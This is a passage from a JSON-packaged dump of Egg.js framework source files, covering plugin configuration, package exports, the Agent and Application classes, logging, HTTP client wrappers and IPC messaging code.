...logrotatorPlugin(),\n\n  /**\n   * schedule tasks\n   * @member {Object} Plugin#schedule\n   * @property {Boolean} enable - `true` by default\n   * @since 2.7.0\n   */\n  ...schedulePlugin(),\n\n  /**\n   * `app/public` dir static serve\n   * @member {Object} Plugin#static\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  ...staticPlugin(),\n\n  /**\n   * jsonp support for egg\n   * @member {Function} Plugin#jsonp\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  ...jsonpPlugin(),\n\n  /**\n   * view plugin\n   * @member {Function} Plugin#view\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  ...viewPlugin(),\n\n  // tegg plugins\n  teggConfig: {\n    enable: enableTeggPlugins,\n    package: '@eggjs/tegg-config',\n  },\n  tegg: {\n    enable: enableTeggPlugins,\n    package: '@eggjs/tegg-plugin',\n  },\n  teggAjv: {\n    enable: enableTeggPlugins,\n    package: '@eggjs/ajv-plugin',\n  },\n  teggAop: {\n    enable: enableTeggPlugins,\n    package: '@eggjs/aop-plugin',\n  },\n  teggController: {\n    enable: enableTeggPlugins,\n    package: '@eggjs/controller-plugin',\n  },\n  teggDal: {\n    enable: enableTeggPlugins,\n    package: '@eggjs/dal-plugin',\n  },\n  // FIXME: AgentWorkerLoader.requireFile() load file: ~/tegg/plugin/eventbus/src/app/extend/context.ts, error: Invalid or unexpected token on worker_threads mode\n  teggEventbus: {\n    // FIXME: MultiPrototypeFound: multi proto found for name:eventContextFactory and qualifiers [{\"value\":\"SINGLETON\"}] [ https://eggjs.org/faq/TEGG_MULTI_PROTO_FOUND ]\n    enable: enableTeggPlugins,\n    package: '@eggjs/eventbus-plugin',\n  },\n  teggOrm: {\n    enable: enableTeggPlugins,\n    package: '@eggjs/orm-plugin',\n  },\n  teggSchedule: {\n    enable: enableTeggPlugins,\n    package: '@eggjs/schedule-plugin',\n  },\n};\n\nexport default plugins;\n"
  },
  {
    "path": "packages/egg/src/dal.ts",
    "content": "export * from '@eggjs/tegg/dal';\n"
  },
  {
    "path": "packages/egg/src/errors.ts",
    "content": "export * from '@eggjs/errors';\n"
  },
  {
    "path": "packages/egg/src/helper.ts",
    "content": "export * from '@eggjs/tegg/helper';\n"
  },
  {
    "path": "packages/egg/src/index.ts",
    "content": "import Helper from './app/extend/helper.ts';\nimport { BaseContextClass } from './lib/core/base_context_class.ts';\nimport { startEgg, type SingleModeApplication, type SingleModeAgent } from './lib/start.ts';\n\n// export extends\nexport { Helper };\nexport type {\n  // keep compatible with egg v3\n  Helper as IHelper,\n};\n\n// export types\nexport * from './lib/egg.ts';\nexport * from './lib/types.ts';\n// export define functions\nexport * from './lib/define.ts';\n\n// alias EggAppConfig to Config\nexport type {\n  /**\n   * Egg Application Config, can be injected into Proto, e.g. SingletonProto/ContextProto/HttpController.\n   *\n   * Usage:\n   * ```ts\n   * import { Inject, Config } from 'egg';\n   *\n   * @SingletonProto()\n   * class FooService {\n   *   @Inject()\n   *   config: Config;\n   *\n   *   async bar() {\n   *     console.log(this.config.env);\n   *   }\n   * }\n   * ```\n   * @since 4.1.0\n   */\n  EggAppConfig as Config,\n} from './lib/types.ts';\n\nexport * from './lib/start.ts';\n\n// export singleton\nexport { Singleton, type SingletonCreateMethod, type SingletonOptions } from '@eggjs/core';\n\n// export errors\nexport * from './lib/error/index.ts';\n\n// export loggers\nexport type { LoggerLevel, EggLogger, EggLogger as Logger } from 'egg-logger';\n\n// export httpClients\nexport * from './lib/core/httpclient.ts';\nexport * from './lib/core/context_httpclient.ts';\n\n/**\n * Start egg application with cluster mode\n * @since 1.0.0\n */\nexport * from '@eggjs/cluster';\n\n/**\n * Start egg application with single process mode\n * @since 1.0.0\n */\nexport { startEgg as start, type SingleModeApplication, type SingleModeAgent };\n\n/**\n * @member {Application} Egg#Application\n * @since 1.0.0\n */\nexport { Application } from './lib/application.ts';\n\n/**\n * @member {Agent} Egg#Agent\n * @since 1.0.0\n */\nexport { Agent } from './lib/agent.ts';\n\n/**\n * @member {AppWorkerLoader} Egg#AppWorkerLoader\n * @since 1.0.0\n */\n\n/**\n * @member {AgentWorkerLoader} Egg#AgentWorkerLoader\n * @since 1.0.0\n */\n\nexport { AppWorkerLoader, AgentWorkerLoader } from './lib/loader/index.ts';\n\n/**\n * @member {Controller} Egg#Controller\n * @since 1.1.0\n */\nexport { BaseContextClass as Controller };\n\n/**\n * @member {Service} Egg#Service\n * @since 1.1.0\n */\nexport { BaseContextClass as Service };\n\n/**\n * @member {Subscription} Egg#Subscription\n * @since 1.10.0\n */\nexport { BaseContextClass as Subscription };\n\n/**\n * @member {BaseContextClass} Egg#BaseContextClass\n * @since 1.2.0\n */\nexport { BaseContextClass } from './lib/core/base_context_class.ts';\n\n/**\n * @member {Boot} Egg#Boot\n */\nexport { BaseHookClass as Boot } from './lib/core/base_hook_class.ts';\n\n// export tegg decorators\nexport {\n  AccessLevel,\n  Acl,\n  ObjectInitType,\n  type ObjectInitTypeLike,\n  type ObjectInfo,\n  type MultiInstancePrototypeGetObjectsContext,\n  QualifierUtil,\n  type EggProtoImplClass,\n  Inject,\n  InjectOptional,\n  EggQualifier,\n  EggType,\n  /**\n   * @example\n   * ```ts\n   * import { HTTPContext, Context } from 'egg';\n   *\n   * @HTTPController()\n   * export class FooController {\n   *   @HTTPMethod({\n   *     path: '/foo',\n   *     method: HTTPMethodEnum.GET,\n   *   })\n   * async bar(@HTTPContext() ctx: Context, id: number): Promise<void> {\n   *   console.log(ctx, id);\n   * }\n   * ```\n   */\n  HTTPContext,\n  HTTPRequest,\n  HTTPCookies,\n  Cookies,\n  HTTPController,\n  HTTPMethod,\n  HTTPMethodEnum,\n  HTTPBody,\n  HTTPQuery,\n  HTTPQueries,\n  HTTPParam,\n  HTTPHeaders,\n  HTTPParamType,\n  Host,\n  Middleware,\n  Event,\n  EventContext,\n  type EggObjectLifecycle,\n  LifecycleDestroy,\n  LifecycleInit,\n  LifecyclePostConstruct,\n  LifecyclePostInject,\n  LifecyclePreDestroy,\n  LifecyclePreInject,\n  LifecyclePreLoad,\n  SingletonProto,\n  MultiInstanceProto,\n  ContextProto,\n  type ImplDecorator,\n  QualifierImplDecoratorUtil,\n  type EggObjectFactory,\n  type IncomingHttpHeaders,\n  BackgroundTaskHelper,\n  type ContextEventBus,\n  type EventBus,\n  type Events,\n  MetadataUtil,\n} from '@eggjs/tegg';\n"
  },
  {
    "path": "packages/egg/src/lib/agent.ts",
    "content": "import type { EggLogger } from 'egg-logger';\n\nimport { EggApplicationCore, type EggApplicationCoreOptions } from './egg.ts';\nimport { AgentWorkerLoader } from './loader/index.ts';\n\n/**\n * Singleton instance in Agent Worker, extend {@link EggApplicationCore}\n * @augments EggApplicationCore\n */\nexport class Agent extends EggApplicationCore {\n  readonly #agentAliveHandler: NodeJS.Timeout;\n\n  /**\n   * @class\n   * @param {Object} options - see {@link EggApplicationCore}\n   */\n  constructor(options?: Omit<EggApplicationCoreOptions, 'type'>) {\n    super({\n      ...options,\n      type: 'agent',\n    });\n\n    // keep agent alive even it doesn't have any io tasks\n    this.#agentAliveHandler = setInterval(\n      () => {\n        this.coreLogger.info('[]');\n      },\n      24 * 60 * 60 * 1000,\n    );\n  }\n\n  protected override customEggLoader(): typeof AgentWorkerLoader {\n    return AgentWorkerLoader;\n  }\n\n  _wrapMessenger(): void {\n    for (const methodName of ['broadcast', 'sendTo', 'sendToApp', 'sendToAgent', 'sendRandom']) {\n      wrapMethod(methodName, this.messenger, this.coreLogger);\n    }\n\n    function wrapMethod(methodName: string, messenger: any, logger: EggLogger): void {\n      const originMethod = messenger[methodName];\n      messenger[methodName] = function (...args: any[]): void {\n        const stack = new Error().stack!.split('\\n').slice(1).join('\\n');\n        logger.warn(\"agent can't call %s before server started\\n%s\", methodName, stack);\n        originMethod.apply(this, args);\n      };\n      messenger.prependOnceListener('egg-ready', () => {\n        messenger[methodName] = originMethod;\n      });\n    }\n  }\n\n  async close(): Promise<void> {\n    clearInterval(this.#agentAliveHandler);\n    await super.close();\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/application.ts",
    "content": "import fs from 'node:fs';\nimport http from 'node:http';\nimport { Socket } from 'node:net';\nimport path from 'node:path';\n\nimport { utils as eggUtils } from '@eggjs/core';\nimport { graceful } from 'graceful';\nimport { isGeneratorFunction } from 'is-type-of';\nimport { assign } from 'utility';\n\nimport Helper from '../app/extend/helper.ts';\nimport { EggApplicationCore, type EggApplicationCoreOptions, type Context } from './egg.ts';\nimport { CookieLimitExceedError } from './error/index.ts';\nimport { AppWorkerLoader } from './loader/index.ts';\nimport type { IController } from './types.ts';\n\n// client error => 400 Bad Request\n// Refs: https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_event_clienterror\nconst DEFAULT_BAD_REQUEST_HTML = `<html>\n  <head><title>400 Bad Request</title></head>\n  <body bgcolor=\"white\">\n  <center><h1>400 Bad Request</h1></center>\n  <hr><center>❤</center>\n  </body>\n  </html>`;\nconst DEFAULT_BAD_REQUEST_HTML_LENGTH = Buffer.byteLength(DEFAULT_BAD_REQUEST_HTML);\nconst DEFAULT_BAD_REQUEST_RESPONSE =\n  `HTTP/1.1 400 Bad Request\\r\\nContent-Length: ${DEFAULT_BAD_REQUEST_HTML_LENGTH}` +\n  `\\r\\n\\r\\n${DEFAULT_BAD_REQUEST_HTML}`;\n\n// Refs: https://github.com/nodejs/node/blob/b38c81/lib/_http_outgoing.js#L706-L710\nfunction escapeHeaderValue(value: string) {\n  // Protect against response splitting. The regex test is there to\n  // minimize the performance impact in the common case.\n  return /[\\r\\n]/.test(value) ? value.replace(/[\\r\\n]+[ \\t]*/g, '') : value;\n}\n\n/**\n * Singleton instance in App Worker, extend {@link EggApplicationCore}\n * @augments EggApplicationCore\n */\nexport class Application extends EggApplicationCore {\n  declare controller: IController;\n\n  // will auto set after 'server' event emit\n  server?: http.Server;\n  #locals: Record<string, any> = {};\n  /**\n   * reference to {@link Helper}\n   * @member {Helper} Application#Helper\n   */\n  Helper: typeof Helper = Helper;\n\n  /**\n   * @class\n   * @param {Object} options - see {@link EggApplicationCore}\n   */\n  constructor(options?: Omit<EggApplicationCoreOptions, 'type'>) {\n    super({\n      ...options,\n      type: 'application',\n    });\n  }\n\n  protected override customEggLoader(): typeof AppWorkerLoader {\n    return AppWorkerLoader;\n  }\n\n  protected async load(): Promise<void> {\n    await super.load();\n    this.#warnConfusedConfig();\n    this.#bindEvents();\n  }\n\n  #responseRaw(socket: Socket, raw?: any): void {\n    if (!socket?.writable) return;\n    if (!raw) {\n      socket.end(DEFAULT_BAD_REQUEST_RESPONSE);\n      return;\n    }\n\n    const body = raw.body == null ? DEFAULT_BAD_REQUEST_HTML : raw.body;\n    const headers = raw.headers || {};\n    const status = raw.status || 400;\n\n    let responseHeaderLines = '';\n    const firstLine = `HTTP/1.1 ${status} ${http.STATUS_CODES[status] || 'Unknown'}`;\n\n    // Not that safe because no validation for header keys.\n    // Refs: https://github.com/nodejs/node/blob/b38c81/lib/_http_outgoing.js#L451\n    for (const key of Object.keys(headers)) {\n      if (key.toLowerCase() === 'content-length') {\n        delete headers[key];\n        continue;\n      }\n      responseHeaderLines += `${key}: ${escapeHeaderValue(headers[key])}\\r\\n`;\n    }\n\n    responseHeaderLines += `Content-Length: ${Buffer.byteLength(body)}\\r\\n`;\n\n    socket.end(`${firstLine}\\r\\n${responseHeaderLines}\\r\\n${body.toString()}`);\n  }\n\n  onClientError(err: any, socket: Socket): void {\n    // ignore when there is no http body, it almost like an ECONNRESET\n    if (err.rawPacket) {\n      this.logger.warn(\n        '[egg:application] A client (%s:%d) error [%s] occurred: %s',\n        socket.remoteAddress,\n        socket.remotePort,\n        err.code,\n        err.message,\n      );\n    }\n\n    if (typeof this.config.onClientError === 'function') {\n      // @ts-ignore onClientError is not typed\n      const p = eggUtils.callFn(this.config.onClientError, [err, socket, this]);\n\n      // the returned object should be something like:\n      //\n      //   {\n      //     body: '...',\n      //     headers: {\n      //       ...\n      //     },\n      //     status: 400\n      //   }\n      //\n      // default values:\n      //\n      // + body: ''\n      // + headers: {}\n      // + status: 400\n      p.then((ret) => {\n        this.#responseRaw(socket, ret || {});\n      }).catch((err) => {\n        this.logger.error(err);\n        this.#responseRaw(socket);\n      });\n    } else {\n      // because it's a raw socket object, we should return the raw HTTP response\n      // packet.\n      this.#responseRaw(socket);\n    }\n  }\n\n  onServer(server: http.Server): void {\n    // expose app.server\n    this.server = server;\n    // set ignore code\n    const serverGracefulIgnoreCode = this.config.serverGracefulIgnoreCode || [];\n\n    graceful({\n      server: [server],\n      error: (err: Error, throwErrorCount: number) => {\n        const originMessage = err.message;\n        if (originMessage) {\n          // shouldjs will override error property but only getter\n          // https://github.com/shouldjs/should.js/blob/889e22ebf19a06bc2747d24cf34b25cc00b37464/lib/assertion-error.js#L26\n          Object.defineProperty(err, 'message', {\n            get() {\n              return `${originMessage} (uncaughtException throw ${throwErrorCount} times on pid: ${process.pid})`;\n            },\n            configurable: true,\n            enumerable: false,\n          });\n        }\n        this.coreLogger.error(err);\n      },\n      ignoreCode: serverGracefulIgnoreCode,\n    });\n\n    server.on('clientError', (err, socket) => this.onClientError(err, socket as Socket));\n\n    // server timeout\n    if (typeof this.config.serverTimeout === 'number') {\n      server.setTimeout(this.config.serverTimeout);\n    }\n  }\n\n  /**\n   * global locals for view\n   * @member {Object} Application#locals\n   * @see Context#locals\n   */\n  get locals() {\n    return this.#locals;\n  }\n\n  set locals(val: Record<string, any>) {\n    assign(this.#locals, val);\n  }\n\n  /**\n   * save routers to `run/router.json`\n   * @private\n   */\n  dumpConfig(): void {\n    super.dumpConfig();\n\n    // dump routers to router.json\n    const rundir = this.config.rundir;\n    const FULLPATH = this.loader.FileLoader.FULLPATH;\n    try {\n      const dumpRouterFile = path.join(rundir, 'router.json');\n      const routers = [];\n      for (const layer of this.router.stack) {\n        routers.push({\n          name: layer.name,\n          methods: layer.methods,\n          paramNames: layer.paramNames,\n          path: layer.path,\n          regexp: layer.regexp.toString(),\n          stack: layer.stack.map((stack: any) => stack[FULLPATH] || stack._name || stack.name || 'anonymous'),\n        });\n      }\n      fs.writeFileSync(dumpRouterFile, JSON.stringify(routers, null, 2));\n    } catch (err: any) {\n      this.coreLogger.warn(`dumpConfig router.json error: ${err.message}`);\n    }\n  }\n\n  /**\n   * Run async function in the background\n   * @see Context#runInBackground\n   * @param {Function} scope - the first args is an anonymous ctx\n   */\n  runInBackground(scope: (ctx: Context) => Promise<void>, req?: unknown): void {\n    const ctx = this.createAnonymousContext(req);\n    if (!scope.name) {\n      Reflect.set(scope, '_name', eggUtils.getCalleeFromStack(true));\n    }\n    this.ctxStorage.run(ctx, () => {\n      return ctx.runInBackground(scope);\n    });\n  }\n\n  /**\n   * secret key for Application\n   * @member {String} Application#keys\n   */\n  get keys(): string[] {\n    if (!this._keys) {\n      if (!this.config.keys) {\n        if (this.config.env === 'local' || this.config.env === 'unittest') {\n          const configPath = path.join(this.config.baseDir, 'config/config.default.js');\n          console.error('Cookie need secret key to sign and encrypt.');\n          console.error('Please add `config.keys` in %s', configPath);\n        }\n        throw new Error('Please set config.keys first');\n      }\n      this._keys = this.config.keys.split(',').map((s) => s.trim());\n    }\n    return this._keys;\n  }\n\n  /**\n   * @deprecated keep compatible with egg 3.x\n   */\n  toAsyncFunction(fn: (...args: any[]) => any): (...args: any[]) => any {\n    if (isGeneratorFunction(fn)) {\n      throw new Error('Generator function is not supported');\n    }\n    return fn;\n  }\n\n  /**\n   * bind app's events\n   *\n   * @private\n   */\n  #bindEvents(): void {\n    // Browser Cookie Limits: http://browsercookielimits.iain.guru/\n    // https://github.com/eggjs/egg-cookies/blob/58ef4ea497a0eb4dd711d7e9751e56bc5fcee004/src/cookies.ts#L145\n    this.on('cookieLimitExceed', ({ name, value, ctx }) => {\n      const err = new CookieLimitExceedError(name, value);\n      ctx.coreLogger.error(err);\n    });\n    // expose server to support websocket\n    this.once('server', (server: http.Server) => this.onServer(server));\n  }\n\n  /**\n   * warn when confused configurations are present\n   *\n   * @private\n   */\n  #warnConfusedConfig(): void {\n    const confusedConfigurations = this.config.confusedConfigurations;\n    Object.keys(confusedConfigurations).forEach((key) => {\n      if (this.config[key] !== undefined) {\n        this.logger.warn(\n          '[egg:application] Unexpected config key `%o` exists, Please use `%o` instead.',\n          key,\n          confusedConfigurations[key],\n        );\n      }\n    });\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/core/base_context_class.ts",
    "content": "import { BaseContextClass as EggCoreBaseContextClass } from '@eggjs/core';\n\nimport type { Application } from '../application.ts';\nimport type { Context } from '../egg.ts';\nimport type { IService } from '../types.ts';\nimport { BaseContextLogger } from './base_context_logger.ts';\n\n/**\n * BaseContextClass is a base class that can be extended,\n * it's instantiated in context level,\n * {@link Helper}, {@link Service} is extending it.\n */\nexport class BaseContextClass extends EggCoreBaseContextClass {\n  [key: string | symbol]: any;\n  declare ctx: Context;\n  declare pathName?: string;\n  declare app: Application;\n  declare service: IService;\n  #logger?: BaseContextLogger;\n\n  get logger(): BaseContextLogger {\n    if (!this.#logger) {\n      this.#logger = new BaseContextLogger(this.ctx, this.pathName);\n    }\n    return this.#logger;\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/core/base_context_logger.ts",
    "content": "import type { EggContext } from '../egg.ts';\n\nexport class BaseContextLogger {\n  readonly #ctx: EggContext;\n  readonly #pathName?: string;\n\n  /**\n   * @class\n   * @param {Context} ctx - context instance\n   * @param {String} pathName - class path name\n   * @since 1.0.0\n   */\n  constructor(ctx: EggContext, pathName?: string) {\n    /**\n     * @member {Context} BaseContextLogger#ctx\n     * @since 1.2.0\n     */\n    this.#ctx = ctx;\n    this.#pathName = pathName;\n  }\n\n  protected _log(method: 'info' | 'warn' | 'error' | 'debug', args: any[]): void {\n    // add `[${pathName}]` in log\n    if (this.#pathName && typeof args[0] === 'string') {\n      args[0] = `[${this.#pathName}] ${args[0]}`;\n    }\n    // eslint-disable-next-line @typescript-eslint/ban-ts-comment\n    // @ts-ignore\n    this.#ctx.app.logger[method](...args);\n  }\n\n  /**\n   * @member {Function} BaseContextLogger#debug\n   * @param {...any} args - log msg\n   * @since 1.2.0\n   */\n  debug(...args: any[]): void {\n    this._log('debug', args);\n  }\n\n  /**\n   * @member {Function} BaseContextLogger#info\n   * @param {...any} args - log msg\n   * @since 1.2.0\n   */\n  info(...args: any[]): void {\n    this._log('info', args);\n  }\n\n  /**\n   * @member {Function} BaseContextLogger#warn\n   * @param {...any} args - log msg\n   * @since 1.2.0\n   */\n  warn(...args: any[]): void {\n    this._log('warn', args);\n  }\n\n  /**\n   * @member {Function} BaseContextLogger#error\n   * @param {...any} args - log msg\n   * @since 1.2.0\n   */\n  error(...args: any[]): void {\n    this._log('error', args);\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/core/base_hook_class.ts",
    "content": "import assert from 'node:assert';\n\nimport type { ILifecycleBoot } from '@eggjs/core';\nimport type { EggLogger } from 'egg-logger';\n\nimport type { Application, Agent, EggAppConfig } from '../../index.ts';\n\nexport class BaseHookClass implements ILifecycleBoot {\n  declare fullPath?: string;\n  #instance: Application | Agent;\n\n  constructor(instance: Application | Agent) {\n    this.#instance = instance;\n  }\n\n  get logger(): EggLogger {\n    return this.#instance.logger;\n  }\n\n  get config(): EggAppConfig {\n    return this.#instance.config;\n  }\n\n  get app(): Application {\n    assert(this.#instance.type === 'application', 'agent boot should not use app instance');\n    return this.#instance as Application;\n  }\n\n  get agent(): Agent {\n    assert(this.#instance.type === 'agent', 'app boot should not use agent instance');\n    return this.#instance as Agent;\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/core/context_httpclient.ts",
    "content": "import type { Application } from '../application.ts';\nimport type { Context } from '../egg.ts';\nimport type { HttpClientRequestURL, HttpClientRequestOptions, HttpClientResponse } from './httpclient.ts';\n\nexport class ContextHttpClient {\n  ctx: Context;\n  app: Application;\n\n  constructor(ctx: Context) {\n    this.ctx = ctx;\n    this.app = ctx.app;\n  }\n\n  /**\n   * http request helper base on {@link HttpClient}, it will auto save httpclient log.\n   * Keep the same api with {@link Application#curl}.\n   *\n   * @param {String|Object} url - request url address.\n   * @param {Object} [options] - options for request.\n   */\n  async curl<T = any>(url: HttpClientRequestURL, options?: HttpClientRequestOptions): Promise<HttpClientResponse<T>> {\n    options = {\n      ...options,\n      ctx: this.ctx,\n    };\n    return await this.app.curl<T>(url, options);\n  }\n\n  async request<T = any>(\n    url: HttpClientRequestURL,\n    options?: HttpClientRequestOptions,\n  ): Promise<HttpClientResponse<T>> {\n    return await this.curl<T>(url, options);\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/core/httpclient.ts",
    "content": "import { ms } from 'humanize-ms';\nimport {\n  HttpClient as RawHttpClient,\n  type RequestURL as HttpClientRequestURL,\n  type RequestOptions,\n  type ClientOptions as HttpClientOptions,\n  type HttpClientResponse,\n} from 'urllib';\n\nimport type { EggApplicationCore } from '../egg.ts';\n\nexport {\n  type HttpClientResponse,\n  type RequestURL as HttpClientRequestURL,\n  type ClientOptions as HttpClientOptions,\n} from 'urllib';\n\nexport interface HttpClientRequestOptions extends RequestOptions {\n  ctx?: any;\n  tracer?: any;\n}\n\nexport class HttpClient extends RawHttpClient {\n  readonly #app: EggApplicationCore & { tracer?: any };\n\n  constructor(app: EggApplicationCore, options: HttpClientOptions = {}) {\n    normalizeConfig(app);\n    const config = app.config.httpclient || {};\n    options.lookup = options.lookup ?? config.lookup;\n    const initOptions: HttpClientOptions = {\n      ...options,\n      defaultArgs: {\n        ...config.request,\n        ...options.defaultArgs,\n      },\n    };\n    super(initOptions);\n    this.#app = app;\n  }\n\n  async request<T = any>(\n    url: HttpClientRequestURL,\n    options?: HttpClientRequestOptions,\n  ): Promise<HttpClientResponse<T>> {\n    options = options ?? {};\n    if (options.ctx?.tracer) {\n      options.tracer = options.ctx.tracer;\n    } else {\n      options.tracer = options.tracer ?? this.#app.tracer;\n    }\n    return await super.request<T>(url, options);\n  }\n\n  async curl<T = any>(url: HttpClientRequestURL, options?: HttpClientRequestOptions): Promise<HttpClientResponse<T>> {\n    return await this.request<T>(url, options);\n  }\n}\n\n// keep compatible\nexport type { HttpClient as EggHttpClient, HttpClient as EggContextHttpClient };\n\nfunction normalizeConfig(app: EggApplicationCore) {\n  const config = app.config.httpclient;\n  if (typeof config.request?.timeout === 'string') {\n    config.request.timeout = ms(config.request.timeout);\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/core/logger.ts",
    "content": "import { EggLoggers, type EggLoggersOptions } from 'egg-logger';\nimport { setCustomLogger } from 'onelogger';\n\nimport type { EggApplicationCore } from '../egg.ts';\n\nexport function createLoggers(app: EggApplicationCore): EggLoggers {\n  const loggerOptions = {\n    ...app.config.logger,\n    type: app.type,\n    localStorage: app.ctxStorage,\n  } as EggLoggersOptions;\n\n  // set DEBUG level into INFO on prod env\n  if (app.config.env === 'prod' && loggerOptions.level === 'DEBUG' && !app.config.logger.allowDebugAtProd) {\n    loggerOptions.level = 'INFO';\n  }\n\n  const loggers = new EggLoggers({\n    logger: loggerOptions,\n    customLogger: app.config.customLogger,\n  });\n\n  // won't print to console after started, except for local and unittest\n  app.ready(() => {\n    if (app.config.logger.disableConsoleAfterReady) {\n      loggers.disableConsole();\n      loggers.coreLogger.info('[egg:lib:core:logger] disable console log after app ready');\n    }\n  });\n\n  // set global logger\n  for (const loggerName of Object.keys(loggers)) {\n    setCustomLogger(loggerName, loggers[loggerName]);\n  }\n  // reset global logger on beforeClose hook\n  app.lifecycle.registerBeforeClose(() => {\n    for (const loggerName of Object.keys(loggers)) {\n      setCustomLogger(loggerName, undefined);\n    }\n  });\n  loggers.coreLogger.info('[egg:lib:core:logger] init all loggers with options: %j', loggerOptions);\n  return loggers;\n}\n"
  },
  {
    "path": "packages/egg/src/lib/core/messenger/IMessenger.ts",
    "content": "import type { EventEmitter } from 'node:events';\n\nexport interface IMessenger extends EventEmitter {\n  /**\n   * Send message to all agent and app\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  broadcast(action: string, data?: unknown): IMessenger;\n\n  /**\n   * send message to the specified process\n   * @param {String} workerId - the workerId of the receiver\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  sendTo(workerId: string, action: string, data?: unknown): IMessenger;\n\n  /**\n   * send message to one app worker by random\n   * - if it's running in agent, it will send to one of app workers\n   * - if it's running in app, it will send to agent\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  sendRandom(action: string, data?: unknown): IMessenger;\n\n  /**\n   * send message to app\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  sendToApp(action: string, data?: unknown): IMessenger;\n\n  /**\n   * send message to agent\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  sendToAgent(action: string, data?: unknown): IMessenger;\n\n  /**\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @param {String} to - let master know how to send message\n   * @return {Messenger} this\n   */\n  send(action: string, data: unknown, to?: string): IMessenger;\n\n  close(): void;\n\n  onMessage(message: any): void;\n}\n"
  },
  {
    "path": "packages/egg/src/lib/core/messenger/base.ts",
    "content": "import { EventEmitter, captureRejectionSymbol } from 'node:events';\n\nimport { EggApplicationCore } from '../../egg.ts';\nimport { MessageUnhandledRejectionError } from '../../error/index.ts';\n\nexport class BaseMessenger extends EventEmitter {\n  protected readonly egg: EggApplicationCore;\n\n  constructor(egg: EggApplicationCore) {\n    super({ captureRejections: true });\n    this.egg = egg;\n\n    this[captureRejectionSymbol] = this.onRejection.bind(this);\n  }\n\n  private onRejection(err: Error, event: string | symbol, ...args: any[]): void {\n    this.egg.coreLogger.error(new MessageUnhandledRejectionError(err, event, args));\n  }\n\n  emit(eventName: string | symbol, ...args: any[]): boolean {\n    const hasListeners = this.listenerCount(eventName) > 0;\n    try {\n      return super.emit(eventName, ...args);\n    } catch (e: unknown) {\n      let err = e as Error;\n      if (!(err instanceof Error)) {\n        err = new Error(String(err));\n      }\n      this.egg.coreLogger.error(new MessageUnhandledRejectionError(err, eventName, args));\n      return hasListeners;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/lib/core/messenger/index.ts",
    "content": "import type { EggApplicationCore } from '../../egg.ts';\nimport type { IMessenger } from './IMessenger.ts';\nimport { Messenger as IPCMessenger } from './ipc.ts';\nimport { Messenger as LocalMessenger } from './local.ts';\n\nexport type { IMessenger } from './IMessenger.ts';\n\n/**\n * @class Messenger\n */\nexport function create(egg: EggApplicationCore): IMessenger {\n  const messenger = egg.options.mode === 'single' ? new LocalMessenger(egg) : new IPCMessenger(egg);\n  return messenger;\n}\n"
  },
  {
    "path": "packages/egg/src/lib/core/messenger/ipc.ts",
    "content": "import { debuglog } from 'node:util';\nimport workerThreads from 'node:worker_threads';\n\nimport { sendmessage } from 'sendmessage';\n\nimport type { EggApplicationCore } from '../../egg.ts';\nimport { BaseMessenger } from './base.ts';\nimport type { IMessenger } from './IMessenger.ts';\n\nconst debug = debuglog('egg/lib/core/messenger/ipc');\n\n/**\n * Communication between app worker and agent worker by IPC channel\n */\nexport class Messenger extends BaseMessenger implements IMessenger {\n  readonly pid: string;\n  opids: string[] = [];\n\n  constructor(egg: EggApplicationCore) {\n    super(egg);\n    this.pid = String(process.pid);\n    // pids of agent or app managed by master\n    // - retrieve app worker pids when it's an agent worker\n    // - retrieve agent worker pids when it's an app worker\n    this.on('egg-pids', (workerIds) => {\n      debug('[%s:%s] got egg-pids %j', this.egg.type, this.pid, workerIds);\n      this.opids = workerIds.map((workerId: number) => String(workerId));\n    });\n    this.onMessage = this.onMessage.bind(this);\n    process.on('message', this.onMessage);\n    if (!workerThreads.isMainThread) {\n      workerThreads.parentPort!.on('message', this.onMessage);\n    }\n  }\n\n  /**\n   * Send message to all agent and app\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  broadcast(action: string, data?: unknown): Messenger {\n    debug('[%s:%s] broadcast %s with %j', this.egg.type, this.pid, action, data);\n    this.send(action, data, 'app');\n    this.send(action, data, 'agent');\n    return this;\n  }\n\n  /**\n   * send message to the specified process\n   * @param {String} workerId - the workerId of the receiver\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  sendTo(workerId: string, action: string, data?: unknown): Messenger {\n    debug('[%s:%s] send %s with %j to workerId:%s', this.egg.type, this.pid, action, data, workerId);\n    const message = {\n      action,\n      data,\n      /**\n       * @deprecated Keep compatible, please use receiverWorkerId instead\n       */\n      receiverPid: String(workerId),\n      receiverWorkerId: String(workerId),\n    };\n    this.#sendMessage(message);\n    return this;\n  }\n\n  /**\n   * send message to one app worker by random\n   * - if it's running in agent, it will send to one of app workers\n   * - if it's running in app, it will send to agent\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  sendRandom(action: string, data?: unknown): Messenger {\n    if (this.opids.length === 0) {\n      debug('[%s:%s] no pids, ignore sendRandom %s with %j', this.egg.type, this.pid, action, data);\n      return this;\n    }\n    const index = Math.floor(Math.random() * this.opids.length);\n    const workerId = this.opids[index];\n    this.sendTo(workerId, action, data);\n    return this;\n  }\n\n  /**\n   * send message to app\n   * @param {String} action - message key\n   * @param {Object} data - message value\n   * @return {Messenger} this\n   */\n  sendToApp(action: string, data?: unknown): Messenger {\n    debug('[%s:%s] send %s with %j to all app', this.egg.type, this.pid, action, data);\n    this.send(action, data, 'app');\n    return this;\n  }\n\n  /**\n 